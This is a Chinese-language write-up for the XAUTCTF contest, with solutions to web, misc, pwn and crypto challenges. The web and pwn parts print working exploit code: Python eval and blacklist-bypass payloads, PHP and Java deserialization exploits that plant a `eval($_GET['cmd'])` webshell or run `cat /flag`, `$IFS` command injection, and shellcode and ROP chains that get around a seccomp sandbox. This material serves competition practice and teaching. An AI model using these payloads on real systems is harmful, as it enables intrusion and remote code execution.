感谢WP提供:keup,peng,BR
[TOC]
web D3f4ult’s shop
后端未对itesm_price
做校对,过于信任用户传入数据,将传入的item_price
参数修改为足够买得起即可
flag为XAUTCTF{7c6fcac0-c7ae-4a3c-9685-bc4ee3215afe}
一眼顶真,在计算器功能下发现高危函数eval
,且没有任何过滤,那么便可以任意python代码执行
尝试直接读取open("/flag","r").read()
,提示Permission denied: '/flag'
看来应该需要RCE,再次尝试__import__("os").popen("ls /").read()
,得到
执行/readflag
即__import__("os").popen("/readflag").read()
flag为XAUTCTF{8d4b286e-e7d8-4ea2-b47b-647f6ac642b0}
相较于VulnerableTools
就是多加了点过滤
1 2 3 4 black_list = ['import' ,'system' , 'os' , 'popen' , 'subprocess' , 'open' , 'read' , 'python' , '__' , '[' , ']' , '{' , '}' , ':' , 'base' , 'lower' , 'upper' , 'cat' , 'tac' , 'sort' , '|' , '`' , 'tail' , 'eval' , '\\' ] def safe_init (): sys.modules['os' ] = 'not allowed'
可利用parselmouth
自动化绕过黑名单,而对于os
被禁用则可使用subprocess
代替
原始payload可构造为
1 __import__('subprocess').check_output('/readflag',shell=True,stderr=__import__('subprocess').STDOUT)
利用parselmouth
变形得到
1 __𝒊mport__(max(dict(𝒔ubprocess=()))).check_output((chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125)).format(chr(47), chr(114), chr(101), chr(97), chr(100), chr(102), chr(108), chr(97), chr(103)), shell=True, stderr=__𝒊mport__(max(dict(𝒔ubprocess=()))).STDOUT)
传入得到flag
flag为XAUTCTF{c9dc8c87-8556-4989-a1a4-5101bf57f5be}
Easy_login 很容易观察到class.php
中存在任意文件写入
结合checklogin.php
,中存在unserialize($user_cookie)
推测需要进行反序列化操作,而最终目标则为执行file_put_contents
写入木马达成RCE
需要满足:
!is_array($this->username)
strlen($this->password) < 58
$this->username != $this->password
md5($this->username) === md5($this->password)
MD5为强比较,要么数组绕过,要么强碰撞绕过,但是条件1ban掉了数组绕过,又因为强碰撞生成的字符串为64的倍数,所以条件2将强碰撞绕过也ban了
想起来之前看晨曦✌博客了解到可以通过php内置类来绕过哈希比较,贴一个原文链接php反序列化 | 晨曦的个人小站
exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class User { public $username ; public $password ; public $content ; public function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } } $u = new Error ("test" ,1 );$p = new Error ("test" ,2 ); $exp = new User ($u , $p );$exp ->content = "<?php eval(\$_GET['cmd']);?>" ;$exp = serialize ($exp );$exp = str_replace ("D:\\Users\\86156\\Desktop\\选拔赛\\题目\\web\\ezlogin\\exp.php" , "a" , $exp );$exp = str_replace ("s:59" ,"s:1" , $exp );echo $exp ."\n\n" ;$exp = urlencode ($exp );echo $exp ;?>
成功写入马后访问/shell.php?cmd=system("cat /flag");
即可
flag为XAUTCTF{8353363a-ae20-40f6-b3cb-192677e5467f}
Ez_Unser 反编译User.class
注意到似乎是一个无过滤RCE,只不过需要反序列化激活而已
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import xaut.ctf.pojo.User;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.util.Base64;public class EXP { public static void main (String[] args) throws IOException { User exp = new User (new String []{"cat" ,"/flag" },User.ADMIN); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(exp); byte [] ser = byteArrayOutputStream.toByteArray(); String b64exp = Base64.getEncoder().encodeToString(ser); System.out.println(b64exp); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = "http://47.121.201.96:58625/ser" exp = "rO0ABXNyABJ4YXV0LmN0Zi5wb2pvLlVzZXKje01xFpBOfQIAAkkACXByaXZpbGVnZVsAB2NvbW1hbmR0ABNbTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAAdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAnQAA2NhdHQABS9mbGFn" post_data = { "ser" : exp } res = requests.post(url, data=post_data).text print (res)
flag为XAUTCTF{c8257bb2-84c5-478c-9f1c-68d0fe311863}
Anonymous 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );error_reporting (0 );$rce = new class { function getflag ($cmd ) { if (strpos ($cmd , ' ' ) !== false ) { echo strpos ($cmd , ' ' ); die ('no space allowed' ); } echo "You get it!" ; @exec ($cmd ); } }; unset ($rce );$rce = $_GET ['class' ];$f = new $rce ();$cmd = $_REQUEST ['cmd' ] ?? 'whoami' ;$f ->getflag ($cmd );?>
考察匿名类的调用,匿名函数有点像,类似的题目有红明谷初赛2024-web-wp
本地起一个php服务,在unset后打印下类信息
1 2 3 4 $c = get_declared_classes ();foreach ($c as $each ){ echo $each ."\n" ; }
得到
其中$0后面是访问次数,那么对于服务器来说,该匿名类大概率为
class@anonymous%00/var/www/html/index.php:4$0
对于空格过滤用$IFS
绕即可
重启服务器,传class=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%3A4%240&cmd=cat$IFS/flag>/var/www/html/flag.txt
出现You get it!
说明执行成功,查看/flag.txt
即可获得flag
flag为XAUTCTF{f316b991-e964-410f-8f39-2ea3518545ea}
misc eZimage 1.png
文件尾发现
1 elcarim_fo_gninnigeb_ehT BSL
反转
1 LSB The_beginning_of_miracle
使用cloacked-pixel
密码是
1 The_beginning_of_miracle
压缩包密码同上
2.png
补全定位角
1 flag{fakefakeflaaaaaaaaaag}
搜一下png文件尾,把后面的数据提出来
zip,补一下文件头
两个二维码图片异或+反色
扫码得到
1 |||||||flag2:X0R-||||||||
3.png
修复宽高
没找到flag,直接crc拼接试试
CRC
4.png
双图盲水印
5.png
修复宽高
stegsolve RGB1bit左上角有stegpy特征
stegpy密码尝试
还以为key是crc,试了半天
6.png
放大可以看到白点阵,即为flag
7.png
qoi
转换网站
1 https://imagetostl.com/cn/convert/file/qoi/to/png#convert
扫描二维码
1 flag7:QO1-you_get_the_fullflag!!}
完整flag为XAUTCTF{L5B-X0R-CRC-H20-S7EGPY-PP1-QO1-you_get_the_fullflag!!}
叠影重重Vo.0 1 2 3 ECB asasasasasasasas 556c8be1c8b4cd195b627387c224b64df62d4f308666472492cc9588950be0fc
使用ECB解密556c8be1c8b4cd195b627387c224b64df62d4f308666472492cc9588950be0fc
秘钥是asasasasasasasas
经观察是蚁剑流量
将量中传输的两个文件拼起来
观察传输的目录,发现还有个干扰的,拼错压缩包会打不开
rar压缩包解压出第二个流量包2
使用wireshark的ftp导出3.7z
1.txt
字频
用这个密码解压3.7z
第三个流量包观察DNS,发现dns前面的是base64编码
解码得到flag为XAUTCTF{HTTP_and_FTP_and_DNS}
ezsound 应该是sstv
+lyra
+社会主义核心编码
,有空补细节
ezip 附件下载解压下来得到1
2
3
三个文件,放入010editor
分析可以观察到他们都是缺少了504B
文件头的zip文件的一部分
新建16进制文件按照1,2,3的顺序组合(注意补上504B的文件头)
得到完整压缩包文件,但是需要密码,有提示guess_what_is_pass****
,推测为掩码爆破
得到密码为guess_what_is_pass6789
,解压得到4.bandzip
和README.md
将4.bandzip
拖入010editor
分析,发现为PK(504B)
开头,为压缩包文件,修改后缀为.zip
4.zip
中存在5
和README.md
文件,通过对比CRC发现我们得到的README.md
和4.zip
中的README.md
是同一个文件,可以使用已知明文攻击
将已经得到的README.md
文件用提示的bandzip
软件的快速压缩级别
(别问怎么知道是快速压缩级别的,问就是试出来的) 进行压缩
然后进行已知明文攻击
得到密码87654321
,解压得到5
,拖入010editor
分析仍为zip文件,修改后缀解压提示需要密码,暴力爆破无果,推测为伪加密
将其修复后解压得到6
拖入010editor
分析,注意到最后是正常zip头的倒序
写个脚本逆序一下就好
1 2 data = open ("6" , "rb" ).read() open ("6_re.zip" , "wb" ).write(data[::-1 ])
得到6_re.zip
,解压即可得到7.FFint
FFint
提示是将对数据进行 FF 异或 (这人能想的到?)
异或的压缩包再解压,得到RSApub.py
和8.rar
分析RSApub.py
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from Crypto.Util.number import *from flag import passwordn1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061 n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073 e = 65537 m = bytes_to_long(password) c = pow (m, e, n1) c = pow (c, e, n2) print ("c = %d" % c)
大概来说就是对password
分别使用n1
和n2
连续进行两次RSA加密得到密文c的过程(给我干哪来了,这还是MISC吗?)
观察到n1
和n2
很相近,猜测有相同公因数p
,尝试提取,得到公因数p后q1
和q2
可以靠n1
n2
p
求得,同理d1
d2
也可以得到了,逆向解一下密文即可,以下为解密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import mathimport gmpy2from Crypto.Util.number import *n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061 n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073 e = 65537 c=39185333474919619874742255960843012945853061788282355773499682958188263727663115173472253697126118879825805362604940090828854217086362761645122867990339584569963848377554362044111767669017010571998821943049856293370769513961777300562061990356053081891728365533367715815323665548852289393225037795876103506701 q = math.gcd(n1, n2) p1 = n1 // q p2 = n2 // q phi1 = (p1-1 )*(q-1 ) phi2 = (p2-1 )*(q-1 ) d1 = gmpy2.invert(e, phi1) d2 = gmpy2.invert(e, phi2) c = pow (c, d2, n2) m = pow (c, d1, n1) password = long_to_bytes(m) print (password)
得到密码为you_win_boy_here_your_flag
,解压8.rar
得到flag.txt
文件内容为:
1 2 8]_DBt-<U[q=>0b,.'tD0MZ/V&]6TVRR@Ejc?q/6$NbKo/;h14PyoM]mc(URA>wi3cH\v8Z^@&LD?%Go8ZkJY6,XKAjo! \n D'`%@9!JZH{{yUxwv-Psa<.L&mlZ5!E2|#dc~wv^)L[Zvun4rqjoh.fNdchgf_%]E[!_^@?[ZYXQuONSRKPIm0/EiI+*@E>=a$@9]=<5{32V05.32+O/o',+$)"F~%|{"!x>_{zyr8vXtmlk1RQmfkdc)J`&^c\[`Y}]\U=YXWPt76RQPONGkKJCHAe(D=B;@?>7[54921U5.3,P0po'&%$)(!E2
注意为两行,将第一行(不包括\n)依次进行Base92 -> Ascii85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32
解码得到M41b0lg3
,似乎是某种提示或密钥
在必应中搜索可以找到类似的题目2024 强网拟态防御国际精英挑战赛初赛 Misc Writeup - ⚡Lunatic BLOG⚡ ,发现这是一种名为malbolge
编程语言
在在线平台malbolge在线运行,在线工具,在线编译IDE_w3cschool 运行一下第二行的代码得到flag
flag为XUATCTF{e@sy_is_not_easy}
pwn Signin 参考【CTF】【PWN】orw_ctf orw-CSDN博客
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' sh = process("./pwn" ) sh.sendlineafter("path: " ,"flag" ) sh.sendlineafter("oflag: " , "0" ) sh.sendlineafter("fd: " , "3" ) sh.sendlineafter("nbytes: " , "50" ) sh.sendlineafter("fd: " , "1" ) sh.sendlineafter("n: " , "50" ) sh.interactive() sh.close()
flag为XAUTCTF{55b5e94d-14ff-4b04-b619-ca6524af1594}
Signin_revenge 与上一题相比仅仅是多了buf参数的输入,而题目给了bss段的地址,写脚本传参即可(因为使用read函数读取而不是atoi),脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = 'debug' io = remote("47.121.201.96" ,62158 ) def debug (): gdb.attach(io) pause() base = int (io.recv(14 ),16 ) print (hex (base))io.sendlineafter("path" ,"/flag" ) io.sendlineafter("oflag" ,"24" ) io.sendlineafter("fd" ,"3" ) io.sendafter("buf" ,p64(base)) io.sendlineafter("nbytes" ,"50" ) io.sendlineafter("fd" ,"1" ) io.sendafter("buf" ,p64(base)) io.sendlineafter("n" ,"50" ) io.interactive()
shellcode
读取shellcode后直接执行,但开了沙箱,如下
但没禁write函数,openat+pread+write打orw即可,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *elf = ELF('./pwn4' ) context.log_level = 'debug' context.binary = elf io = remote("47.121.201.96" ,55079 ) def debug (): gdb.attach(io) pause() pay = asm(shellcraft.openat(0 ,"/flag" )) pay+= asm(shellcraft.pread(3 ,0x401a00 ,0x30 )) pay+= asm(shellcraft.write(1 ,0x401a00 ,0x30 )) io.sendline(pay) io.interactive()
middling_shellcode 与上题的差别只有禁用了write函数,使用writev绕过即可(也可打侧信道攻击,但不如这个快),脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *elf = ELF('./pwn5' ) context.binary = elf io = remote("47.121.201.96" ,52722 ) def debug (): gdb.attach(io) pause() pay = asm(shellcraft.openat(0 ,"/flag" )) pay+= asm(shellcraft.pread(3 ,0x401a00 ,0x30 )) pay+= asm(''' push 1 pop rdi push 0x1 /* iov size */ pop rdx push 0x100 mov rbx, 0x401a00 push rbx mov rsi, rsp push SYS_writev pop rax syscall''' )io.sendline(pay) io.interactive()
simple_command
初步尝试运行,发现为只有五条命令的命令行
分析各个函数后发现echo命令可以读取文件并打印,仅需要命令符合以下格式
即echo $(<filename) 即可
ez_c++
Ida反编译后发现是栈溢出,
没开pie,简单rop即可,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = 'debug' context.binary = ELF('./pwn' ) io = process('./pwn' ) def debug (): gdb.attach(io) pause() rax_ret = 0x000000000041dbea rdi_ret = 0x00000000004047af rsi_ret = 0x0000000000406d1f rdx_rbx_ret = 0x00000000005302ab syscall = 0x00000000004D7886 ret = 0x000000000040101a pay = b'a' *0x18 + p64(rax_ret)+p64(0 )+p64(rdi_ret)+p64(0 )+p64(rsi_ret)+p64(0x5e0000 )+p64(rdx_rbx_ret)+p64(0x10 )*2 +p64(syscall) pay += p64(rax_ret)+p64(0x3b )+p64(rdi_ret)+p64(0x5e0000 )+p64(rsi_ret)+p64(0 )+p64(rdx_rbx_ret)+p64(0 )*2 +p64(ret)+p64(syscall)
crypto RSA-I 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 ------------ "task.py" from Crypto.Util.number import *class RSA : def __init__ (self, private_key, public_key ): self .p, self .q, self .d = private_key self .n, self .e = public_key def encrypt (self, plaintext ): if isinstance (plaintext, bytes ): plaintext = bytes_to_long(plaintext) ciphertext = pow (plaintext, self .e, self .n) return ciphertext def decrypt (self, ciphertext ): if isinstance (ciphertext, bytes ): ciphertext = bytes_to_long(ciphertext) plaintext = pow (ciphertext, self .d, self .n) return plaintext def get_keypair (nbits: int , e: int = 65537 ): p = getPrime(nbits//2 ) q = getPrime(nbits//2 ) n = p * q d = inverse(e, n - p - q + 1 ) return (p, q, d), (n, e) from secret import flagfrom my_rsa import RSA, get_keypair------------ "my_rsa.py" from secret import flagfrom my_rsa import RSA, get_keypairif __name__ == '__main__' : pri_key, pub_key = get_keypair(1024 ) rsa = RSA(pri_key, pub_key) enc = rsa.encrypt(flag) print (f'hints = {pri_key[0 ] + pri_key[1 ]} ' ) print (f'n, e = {pub_key} ' ) print (f'enc = {enc} ' ) ''' hints = 17960325692966331869367295266392755370930923303673500674407412894866561185754447732268527534544301544931655778385705095340590928294627879305530053644606312 n, e = (80548079006690376484401947528317514672736700181359966713779522504478122520007672121663227999817333022339225284372340165255346107208306023661907114014677074667152281135816625157070158494735927400719428743427820417408045831658047980152722419641033119403043238702634218004318381875607238168683179631114283102327, 65537) enc = 3347542355425894800112758523511971140080278878605094506650339357102998310566418899431668482919681709243951629211518553810749037620164641002892247118379277692194438504740336362953221566843082616970245054949055912556819847938962290875425531807639012443625444040550871890468653273544749332817433350620315663824 '''
很明显,通过get_keypair
生成了p和q,其中hints = p+q
,n = p*q
解方程即可得到p和q
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from Crypto.Util.number import *from sympy import *hints = 17960325692966331869367295266392755370930923303673500674407412894866561185754447732268527534544301544931655778385705095340590928294627879305530053644606312 n, e = (80548079006690376484401947528317514672736700181359966713779522504478122520007672121663227999817333022339225284372340165255346107208306023661907114014677074667152281135816625157070158494735927400719428743427820417408045831658047980152722419641033119403043238702634218004318381875607238168683179631114283102327 , 65537 ) enc = 3347542355425894800112758523511971140080278878605094506650339357102998310566418899431668482919681709243951629211518553810749037620164641002892247118379277692194438504740336362953221566843082616970245054949055912556819847938962290875425531807639012443625444040550871890468653273544749332817433350620315663824 class RSA : def __init__ (self, private_key, public_key ): self .p, self .q, self .d = private_key self .n, self .e = public_key def decrypt (self, ciphertext ): plaintext = pow (ciphertext, self .d, self .n) return long_to_bytes(plaintext).decode() def solution (sum , product ): x = symbols('x' ) dis = x**2 -sum *x + product solution = solve(dis, x) return solution result = solution(hints, n) p = int (result[0 ]) q = int (result[1 ]) print (p,q)phi = (p-1 )*(q-1 ) d = inverse(e, phi) rsa = RSA((p,q,d),(n,e)) flag = rsa.decrypt(enc) print (flag)
flag为XAUTCTF{1893cd00-5520-3231-a19d-2563c3641a8a}
RSA-II 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ------------ "task.py" from Crypto.Util.number import getRandomNBitIntegerfrom secret import flagfrom my_rsa import RSA, get_keypairpri_key, pub_key = get_keypair(1024 ) rsa = RSA(pri_key, pub_key) enc = rsa.encrypt(flag) k_bits = 180 hints_len = 4 hints = [] for i in range (hints_len): hints.append(getRandomNBitInteger(k_bits) * pri_key[0 ] + getRandomNBitInteger(k_bits) * pri_key[1 ]) print (f'hints = {hints} ' )print (f'n, e = {pub_key} ' )print (f'enc = {enc} ' )''' hints = [23597041116421585383253617822238134482022985527196483737800027046632049501576994404575650072309514086216443500217413002536680649786874242439394596694558255069623971174819336015998506169596930513809024152602641, 18918670633849764224176581085296078409704603995267665366816563141474967984734617831249768345438068798516700525748972411048432944250646148414484479146763021186677905840501241585907337082119873061822184269888932, 27410394479523367303818326313047678775857877447545211654608647781399978125621186992839370580369227913427608730245324283127880308257456049017257798110955836478420978837474849678328941529110143495015237003672102, 19771853350828481188305560174546641567112991229767951723535120036986753959786655218256255574630537563685139213616485845916018895538066666858962337932503913041988856767768201107997309315722525085259644264076364] n, e = (87983894410720207158810626024075859252678400286609500320114902976089861944315015016279894113116554079534123564264283942467629749675516446794704980553532165048365486842288583348346981877316333068201475358519481491306811915775860773663152419968463284474286230662338065590172104643936556485811955378881620648939, 65537) enc = 22533289628970791445166452969863260911408958741328551298306903969766733181601846771396684399082766428379610776865767264720771870307933216036865646839162378532559068458036002257189928246000285667093942689439071077397077785445444831685924708907686173164533537203327619143830270772718035767376282548756552850834 ''' ------------ "my_rsa.py" from Crypto.Util.number import *class RSA : def __init__ (self, private_key, public_key ): self .p, self .q, self .d = private_key self .n, self .e = public_key def encrypt (self, plaintext ): if isinstance (plaintext, bytes ): plaintext = bytes_to_long(plaintext) ciphertext = pow (plaintext, self .e, self .n) return ciphertext def decrypt (self, ciphertext ): if isinstance (ciphertext, bytes ): ciphertext = bytes_to_long(ciphertext) plaintext = pow (ciphertext, self .d, self .n) return plaintext def get_keypair (nbits: int , e: int = 65537 ): p = getPrime(nbits//2 ) q = getPrime(nbits//2 ) n = p * q d = inverse(e, n - p - q + 1 ) return (p, q, d), (n, e)
做到这再去发现是强网杯2024
的原题apbq
强网杯2024 Writeup - 星盟安全团队
直接借脚本稍微改下放sage上跑一下即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import itertoolsfrom Crypto.Util.number import *n,e = (87983894410720207158810626024075859252678400286609500320114902976089861944315015016279894113116554079534123564264283942467629749675516446794704980553532165048365486842288583348346981877316333068201475358519481491306811915775860773663152419968463284474286230662338065590172104643936556485811955378881620648939 , 65537 ) c = 22533289628970791445166452969863260911408958741328551298306903969766733181601846771396684399082766428379610776865767264720771870307933216036865646839162378532559068458036002257189928246000285667093942689439071077397077785445444831685924708907686173164533537203327619143830270772718035767376282548756552850834 hints = [23597041116421585383253617822238134482022985527196483737800027046632049501576994404575650072309514086216443500217413002536680649786874242439394596694558255069623971174819336015998506169596930513809024152602641 , 18918670633849764224176581085296078409704603995267665366816563141474967984734617831249768345438068798516700525748972411048432944250646148414484479146763021186677905840501241585907337082119873061822184269888932 , 27410394479523367303818326313047678775857877447545211654608647781399978125621186992839370580369227913427608730245324283127880308257456049017257798110955836478420978837474849678328941529110143495015237003672102 , 19771853350828481188305560174546641567112991229767951723535120036986753959786655218256255574630537563685139213616485845916018895538066666858962337932503913041988856767768201107997309315722525085259644264076364 ] V = hints k = 2 ^800 M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len (V))) B = [b[1 :] for b in M.LLL()] M = (k * Matrix(B[:len (V)-2 ])).T.augment(Matrix.identity(len (V))) B = [b[-len (V):] for b in M.LLL() if set (b[:len (V)-2 ]) == {0 }] for s, t in itertools.product(range (4 ), repeat=2 ): T = s*B[0 ] + t*B[1 ] a1, a2, a3, a4 = T kq = gcd(a1 * hints[1 ] - a2 * hints[0 ], n) if 1 < kq < n: print ('find!' ) print (kq) break p = kq q = n//p phi = (p-1 )*(q-1 ) d = inverse(e,phi) m = pow (c, d, n) print (long_to_bytes(int (m)))
flag为XAUTCTF{a12c767e-11c9-0c5d-a158-d4357aa8994f}
43_steps 由题目结合可以知道,C
表示复制,V
表示粘贴,A
表示全选,那么实际上经过测试,只有ACV
和V
两种字符串组合会影响字符的增长
如果题目有解,必然为包含ACV
和V
的字符串,结合题目猜测总长度应该就是43,可以尝试爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 def process (solve, limit: int = 43 , target: int = 1 *10 **5 ): count = 1 select = 0 shear_plate = 0 for control in solve: control = control.upper() if control == 'A' : select = count elif control == 'C' : shear_plate = select select = 0 elif control == 'V' : count += shear_plate print (f"len = {len (solve)} , {count = } , {solve = } \n" .encode()) return count def generate_strings (length, prefix="" ): if length == 0 : count = process(prefix) if count == 100000 : print (prefix) exit(0 ) else : generate_strings(length - 1 , prefix + "V" ) if length >= 3 : generate_strings(length - 3 , prefix + "ACV" ) generate_strings(43 )
爆破得到ACVVVVACVVVVACVVVVACVVVVACVVVVACVVVACVVVACV
nc连接拿到flag为XAUTCTF{acd61088-83fa-4be9-9a49-322f09260004}
应该是非预期解
标准解可参考隔壁算法题https://www.zhihu.com/question/614897549/answer/3548312646